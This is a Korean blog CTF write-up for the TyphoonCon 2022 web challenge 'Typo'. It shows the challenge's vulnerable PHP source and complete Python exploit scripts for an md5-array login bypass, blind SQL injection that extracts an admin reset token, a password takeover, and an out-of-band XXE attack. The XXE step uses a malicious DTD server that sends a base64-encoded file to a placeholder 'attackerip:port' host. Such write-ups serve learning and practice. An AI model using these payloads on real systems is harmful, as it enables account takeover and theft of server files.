일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- crypto
- deayzl
- hacking game
- webhacking
- reversing
- hack
- 워게임
- CTF
- python
- webhacking.kr
- Gon
- Buffer Overflow
- 해킹
- TeamH4C
- 2022 Fall GoN Open Qual CTF
- got overwrite
- KAIST
- cryptography
- writeup
- 웹해킹
- WEB
- hacking
- Wargame
- ctf player
- pwnable
- Wreckctf
- System Hacking
- h4cking game
- dreamhack
- christmas ctf
- Today
- Total
deayzl's blog
TyphoonCon CTF [2022] Web - Typo writeup 본문
<?php//login.php
header("Creators: @CTFCreators");
session_start();
$_SESSION['loggedin'] = 0;
if( $_SERVER['REQUEST_METHOD'] != "POST" ){
header("Location: /index.php");
}
include 'database.php';
$uname = mysqli_real_escape_string($mysqli, $_POST['uname']);
$paswd = md5($_POST['psw']);
$sql = "SELECT * FROM users where username='$uname'";
if( $result = $mysqli->query($sql) ){
$data = mysqli_fetch_array($result);
if($data[2] == $paswd){
$_SESSION['username'] = $data[1];
$_SESSION['loggedin'] = 1;
echo "<script>window.location.href='/profile.php';</script>";
}else{
echo "<script>window.location.href='/index.php';</script>";
}
}
login.php의 코드를 보면 $_POST['psw']의 값을 md5 함수 안에 넣고 uname의 패스워드와 비교하는 것을 볼 수 있다.
이상한 uname 값을 제공해 sql문의 결과가 없는 동시에 md5 함수가 null을 return 할 수도 있지 않을까 생각해서 구글링 해봤다.
ctf - PHP when md5 returns null value - Stack Overflow
PHP's md5() function expects its argument to be a string.
import requests
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/login.php',
data={'uname':'','psw[]':''})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.headers)
print(resp.content.decode())
index = resp.headers['Set-Cookie'].find('PHPSESSID=')
loginsession = resp.headers['Set-Cookie'][index+10:index+10+26]
print(loginsession)
username이 ''인 user는 없기에 sql문은 아무것도 반환하지 않고, array를 받은 md5 함수는 null을 return 한다.
로그인에 성공하고 나서 다른 php 파일을 보면
<?php//profile.php
header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1){
header("Location: index.php");
}
include 'database.php';
$uname = $_SESSION['username'];
$isAdmin = 0;
if($uname == "admin"){
$isAdmin = 1;
}
?>
$_SESSION['username']을 admin으로 만들어줄 필요가 있음을 알 수 있다. (profile.php의 일부이다)
<?php//data.php
header("Creators: @CTFCreators");
session_start();
include 'database.php';
if( $_SESSION['loggedin'] != 1 ){
die("<script>window.location.href='/index.php';</script>");
}
$uname = $_GET['u'];
$sql = "SELECT email FROM users where username='$uname'";
if( $result = $mysqli->query($sql) ){
$data = @mysqli_fetch_array($result);
$email = $data[0];
echo $email;
}else{
echo "Erorr";
}
data.php의 코드를 보면 sql injection이 가능함을 알 수 있다.
"Error"를 출력하는 것을 보니, error based sql injection으로 풀 수도 있지만, if(1=1,True,False) 를 이용했다.
sql injection으로 admin의 패스워드를 알 수 있었지만 md5 hash 값이므로, 로그인 할 수는 없다.
<?php//change.php
header("Creators: @CTFCreators");
if($_SERVER['REQUEST_METHOD'] != "POST"){
header("Location: index.php");
}
include 'database.php';
session_start();
$uid = mysqli_real_escape_string($mysqli, $_POST['uid']);
$pwd = md5(mysqli_real_escape_string($mysqli, $_POST['psw']));
$sig = mysqli_real_escape_string($mysqli, $_POST['token']);
$sqlGetTokens = "SELECT token from tokens where uid='$uid'";
$result = $mysqli->query($sqlGetTokens);
$data = mysqli_fetch_array($result);
$sigDB = substr($data[0], 0, 4);
if( $sig == $sigDB ){
$sqlChange = "UPDATE users SET password='$pwd' where id='$uid'";
$mysqli->query($sqlChange);
$sqlDelete = "DELETE FROM tokens WHERE uid='$uid'";
$mysqli->query($sqlDelete);
echo "<script>alert('Password Changed.');window.location.href='/index.php';</script>";
}else{
echo "<script>alert('Token is invalid.');window.location.href='/index.php';</script>";
}
change.php의 코드를 보면 패스워드를 바꿀 수 있는 듯 하다.
이걸로 admin 계정의 패스워드를 바꿔, admin으로 로그인 해야함을 알 수 있다.
import requests
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/forgot.php',cookies={'PHPSESSID':loginsession},
data={'uname':'admin'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
print(resp.content.decode())
token = ''
for i in range(4):
bin = ''
for j in range(8):
s = requests.Session()
req = requests.Request('GET', 'https://typhooncon-typo.chals.io/data.php?u=\' or if((SELECT substr(lpad(bin(ord(substr(token,'+ascii(i+1)+',1))),8,0),'+ascii(j+1)+',1)=0 from tokens where uid=\'1\'),True,False)-- ',cookies={'PHPSESSID':loginsession})
prepared = req.prepare()
resp = s.send(prepared)
#print(resp.content.decode())
if(resp.content.decode().find('admin@admin.com') != -1):
bin += '0'
else:
bin += '1'
print(chr(int(bin,base=2)),end='')
token += chr(int(bin,base=2))
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/change.php',cookies={'PHPSESSID':loginsession},
data={'uid':'1','psw':'deayzlsprivatepasswordYES','token':token})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
print(resp.content.decode())
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/login.php',
data={'uname':'admin','psw':'deayzlsprivatepasswordYES'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.content.decode())
print(resp.headers)
index = resp.headers['Set-Cookie'].find('PHPSESSID=')
admincookie = resp.headers['Set-Cookie'][index+10:index+10+26]
forgot.php 파일에서 admin의 token을 초기화 할 수 있는데, 초기화를 한 뒤에 tokens 테이블에서 token 4자리를 얻고 change.php 에서 패스워드를 바꿔준 후 로그인을 해주면 admin의 쿠키를 얻을 수 있다.
이제 마지막 관문이 남았다.
<?php//profile.php
header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1){
header("Location: index.php");
}
include 'database.php';
$uname = $_SESSION['username'];
$isAdmin = 0;
if($uname == "admin"){
$isAdmin = 1;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="./css/CTFCreators.css">
<title>Profile</title>
</head>
<body>
<center>
<h1 id=uname><?php echo "Welcome ".$uname; ?></h1>
<h1 id=email></h1>
<a id="logout" style="width:auto;" href="/logout.php">Logout</a>
<?php if ($isAdmin ==1){?>
</center>
<div class="container">
<label for="uname"><b>UUID</b></label>
<input type="text" id="uuid" placeholder="Enter UUID value" name="uuid" required>
<label for="psw"><b>Username</b></label>
<input type="text" placeholder="Username" name="username" id=user>
<button type="submit" onclick="read()">Read</button>
</div>
<form class="modal-content animate"><input type="text" id="output" disabled></form>
<?php }?>
<script type="text/javascript">
xhr = new XMLHttpRequest()
xhr.onreadystatechange = function(){
document.getElementById("email").innerHTML = "E-Mail: "+this.responseText
}
xhr.open("get","data.php?u=<?php echo $uname;?>")
xhr.send()
function read(){
var xml = '<\?xml version="1.0" encoding="UTF-8"?><user><username>'+document.getElementById("user").value+'</username></user>'
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function(){
var out = document.getElementById("output")
out.value = this.responseText
}
xhr.open("post","read.php")
//
xhr.setRequestHeader("UUID", document.getElementById("uuid").value)
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
xhr.send("data="+encodeURIComponent(xml))
}
</script>
</body>
</html>
<?php//read.php
header("Creators: @CTFCreators");
session_start();
if( $_SESSION['loggedin'] != 1 || $_SESSION['username'] != "admin" ){
die("You have to be an admin.");
}
$uuid = $_SERVER['HTTP_UUID'];
if( $uuid != "XXXX" ){
die("UUID is not valid");
}
include 'database.php';
$xml = urldecode($_POST['data']);
$dom = new DOMDocument();
try{
@$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
}catch (Exception $e){
echo '';
}
$userInfo = @simplexml_import_dom($dom);
$output = "User Sucessfully Added.";
$user = mysqli_real_escape_string($mysqli, @$userInfo->username);
$sql = "select * from users where username='$user'";
if($result = $mysqli->query($sql)){
$data = mysqli_fetch_array($result);
if(@count($data) != 0){
echo "User is exists";
}else{
echo "User is not exists";
}
}
loadXML, simplexml_import_dom 함수를 보고 xxe attack 을 떠올려냈다.
xxe attack으로 flag 값을 읽어오면 이 문제는 끝이 나게 된다.
여기서 하루동안 시간을 낭비하느라, first blood에 실패했다...
xxe attack 문제를 풀어보긴 했으나, 많이 풀어보지는 못했는데 이 점이 ctf에서 발목을 잡을줄은 몰랐다 :(
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
import os
hostName = "0.0.0.0"
serverPort = port
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type','Application/xml-dtd')
self.end_headers()
dtd = '<!ENTITY % all "<!ENTITY request SYSTEM \'http://attackerip:port/recive?%read;\'>">%all;'
self.wfile.write(dtd.encode())
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
uuid = '8d6ed261-f84f-4eda-b2d2-16332bd8c390'
s = requests.Session()
req = requests.Request('POST', 'https://typhooncon-typo.chals.io/read.php',
headers={'UUID':uuid},data={'data':'<!DOCTYPE nga [<!ENTITY % read SYSTEM "php://filter/convert.base64-encode/resource=/var/www/flag"><!ENTITY % dtd SYSTEM "http://attackerip:port/xxe.dtd">%dtd;]><nga>&request;</nga>'}, cookies={'PHPSESSID':'m9eool7uv9kvojiah557bkdp5c'})
prepared = req.prepare()
resp = s.send(prepared)
print(resp.headers)
print(resp.content.decode())
python의 HTTPServer 모듈로 dtd를 보내는 서버를 열어주었고, php://filter wrapper로 읽은 파일을 base64 인코딩한 내용을 다시 서버에 parameter로 보내주면 파일 내용을 알 수 있다.
( uuid는 secretkeys 테이블에 있던 값으로, 맨 처음 data.php에서 sql injection을 통해 얻었고,
flag의 경로는 robots.txt 파일을 통해 얻었다.
참고로 attackerip와 port에 본인 컴퓨터의 ip와 연 서버의 port를 넣어주면 된다.)
얻은 flag 값 SSD{...}을 제출하면 100점을 얻게 된다.
근데 100점은 좀 적은거 같고 200점 정도 줬으면 좋았지 않았을까 생각한다..
'CTF writeup > TyphoonCon CTF' 카테고리의 다른 글
TyphoonCon CTF [2022] Web - hidden character writeup (0) | 2022.06.24 |
---|